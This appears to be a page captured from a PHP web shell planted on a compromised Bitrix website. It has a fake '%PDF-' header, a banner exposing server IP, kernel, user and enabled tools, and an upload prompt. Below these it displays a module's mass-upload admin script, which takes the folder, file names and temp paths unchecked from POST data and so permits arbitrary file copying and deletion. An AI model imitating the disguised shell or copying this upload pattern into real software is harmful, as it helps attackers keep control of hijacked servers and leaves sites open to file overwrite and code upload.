%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 18.117.137.252 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/esol.importexportexcel/admin/ |
Upload File : |
<? if(!defined('NO_AGENT_CHECK')) define('NO_AGENT_CHECK', true); require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php"); $module_id = 'esol.importexportexcel'; CModule::IncludeModule($module_id); IncludeModuleLangFile(__FILE__); $success = false; $error = ''; if($_POST['action']=='save') { define('PUBLIC_AJAX_MODE', 'Y'); $dir = trim($_POST['folder'], '/'); if(strlen($dir) > 0) { if(CUtil::DetectUTF8($dir)) $dir = utf8win1251($dir); $dir = $_SERVER['DOCUMENT_ROOT'].'/'.$dir.'/'; CheckDirPath($dir); $arImages = array(); if(is_array($_POST['images'])) { $key = 0; foreach($_POST['images'] as $k=>$v) { foreach($v as $k2=>$v2) { if(isset($arImages[$key]) && isset($arImages[$key][$k2])) $key++; $arImages[$key][$k2] = $v2; } } } foreach($arImages as $arImage) { //if(CUtil::DetectUTF8($arImage['name'])) $arImage['name'] = utf8win1251($arImage['name']); $fn = $_SERVER['DOCUMENT_ROOT'].$arImage['tmp_name']; if(!file_exists($fn)) $fn = CTempFile::GetAbsoluteRoot().$arImage['tmp_name']; if(!file_exists($fn)) continue; //not working on cp1251 //$imgName = \Bitrix\Main\IO\Path::convertLogicalToPhysical($arImage['name']); $imgName = $arImage['name']; copy($fn, $dir.$imgName); unlink($fn); } $success = true; } else { $error = GetMessage("KDA_IE_MASS_UPLOAD_ERROR_EMPTY_DIR"); } } require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_popup_admin.php"); if($success) { CAdminMessage::ShowMessage(array( 'TYPE' => 'OK', 'MESSAGE' => GetMessage("KDA_IE_MASS_UPLOAD_SUCCESS") )); } if($error) { CAdminMessage::ShowMessage(array( 'TYPE' => 'ERROR', 'MESSAGE' => $error )); } if($_POST) { ?><script> EProfile.MassUploaderSetButtons(true); </script><? } $folder = '/upload/images/'; if(isset($_POST['folder'])) $folder = $_POST['folder']; elseif(COption::GetOptionString($module_id, 'IMAGES_PATH')) $folder = COption::GetOptionString($module_id, 'IMAGES_PATH'); ?> <form action="<?=$_SERVER['REQUEST_URI']?>" method="post" enctype="multipart/form-data" name="field_settings"> <input type="hidden" name="action" value="save"> <table width="100%"> <col width="50%"> <col width="50%"> <tr> <td class="adm-detail-content-cell-l"><?echo GetMessage("KDA_IE_MASS_UPLOAD_FOLDER");?>:</td> <td class="adm-detail-content-cell-r"> <input type="text" name="folder" value="<?echo htmlspecialcharsex($folder);?>" size="30"> </td> </tr> <tr> <td colspan="2"> <? $fileInput = new \Bitrix\Main\UI\FileInput(array( 'name' => 'images[]', 'edit' => false, 'id' => 'upload_images_'.md5(mt_rand()), 'description' => false, 'upload' => true )); echo $fileInput->show(); ?> </td> </tr> </table> </form> <?require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_popup_admin.php");?>